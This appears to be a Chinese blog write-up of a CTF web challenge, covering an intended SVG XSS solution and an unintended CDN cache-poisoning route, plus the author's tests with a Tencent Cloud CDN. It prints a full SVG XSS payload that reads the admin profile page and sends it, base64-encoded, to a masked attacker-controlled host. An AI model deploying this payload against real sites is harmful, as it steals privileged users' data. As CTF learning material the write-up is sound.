前言

好长一段时间之前看到的一篇文章和一道题,结果我一直干别的事情,都没有好好研究一下,现在赶紧补一下坑,写篇文章总结记录一哈。

题目的预期解是SVG XSS,而非预期解是缓存投毒。


SVG XSS

题目链接:http://web50.zajebistyc.tf/

writeup:https://xz.aliyun.com/t/4492#toc-2

SVG XSS:https://www.hackersb.cn/hacker/85.html

payload:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve">  <image id="image0" width="751" height="751" x="0" y="0"
    href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>
    var xmlhttp = new XMLHttpRequest();
    var response;
    xmlhttp.onreadystatechange = function() {
        if (4 == xmlhttp.readyState) {
            if (200 == xmlhttp.status) {
                location.href='https://*.*.*.*/xss.php?'+btoa(xmlhttp.responseText);
            }
        }
    };
    xmlhttp.open("GET", "/profile/admin");
    xmlhttp.send();
</script>
</svg>

正解就随便一题带过。


缓存投毒

writeup:https://ctftime.org/writeup/13925

Web缓存投毒:https://www.anquanke.com/post/id/156356

原理就是利用CDN缓存,攻击者在CDN上缓存一个恶意的静态资源,如果受害人HIT了这个资源,就会受到攻击。

在这道题目里面,按照题目的配置Vary: Accept-Encoding, Cookie,按理来说由于请求头中Cookie的不同,admin应该是无法命中缓存的才对,但是尝试过后我们会发现,Cookie似乎没有起到作用?

尝试更多之后我发现,手机上的微信浏览器却不会命中缓存。

我对微信浏览器进行抓包的时候,它又命中了缓存:

似乎它的CDN跟别的不一样。

后来我进行了Google,看到了这些文章:

https://blog.stackpath.com/accept-encoding-vary-important

https://cdnsun.com/knowledgebase/cdn-static/setting-a-set-cookie-ignore-or-accept

https://www.maxcdn.com/one/tutorial/use-cdn-with-cookie-set-sent-from-origin/

https://www.maxcdn.com/one/tutorial/how-to-use-cdn-with-cloudflare/

可以看到,cloudflare是不会缓存带有set-cookie头的资源的,而当我们在服务器上进行尝试的时候,可以发现CDN缓存了我们的请求:

这看起来像是出题人自己开启了Strip All Cookies选项,所以Cookie就没有作用了。

那微信浏览器又是什么情况呢?难道是Accept-Encoding的原因?但是抓到的包看起来跟chrome没有什么差别耶。


CDN

既然这样,那我就自己整一个CDN来玩玩吧,我使用的是腾讯云的CDN服务,参考的文章:https://www.boyhost.cn/otherfree/apply-qcloud-free-cdn-deploy.html

首先在腾讯云开通CDN服务,按流量计费还是比较便宜的,况且还会赠送几个月50G的流量包:

然后根据他的提示配置好,我这里为了方便测试所以缓存了.php后缀XD,这么干肯定是不对的:

因为我的源站是HTTPS的缘故,所以我还要申请多一个证书给这个域名和配置DNS解析:

然后我们就可以开启愉快的CDN之旅了~

写个输出HTTP头信息的PHP来进行测试,最后通过不停的强制刷新我发现,会有多个不同的IP去访问我的VPS,如果在缓存的时间内两个请求被调度到同一个节点,就会命中相同的缓存,就像腾讯云官方所说:

具体的调度算法我也摸不清楚,大概cloudflare也是类似的构造,所以导致了微信浏览器的特殊情况吧?


Orz


CTF Web 前端

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

西湖论剑Web
Go(1)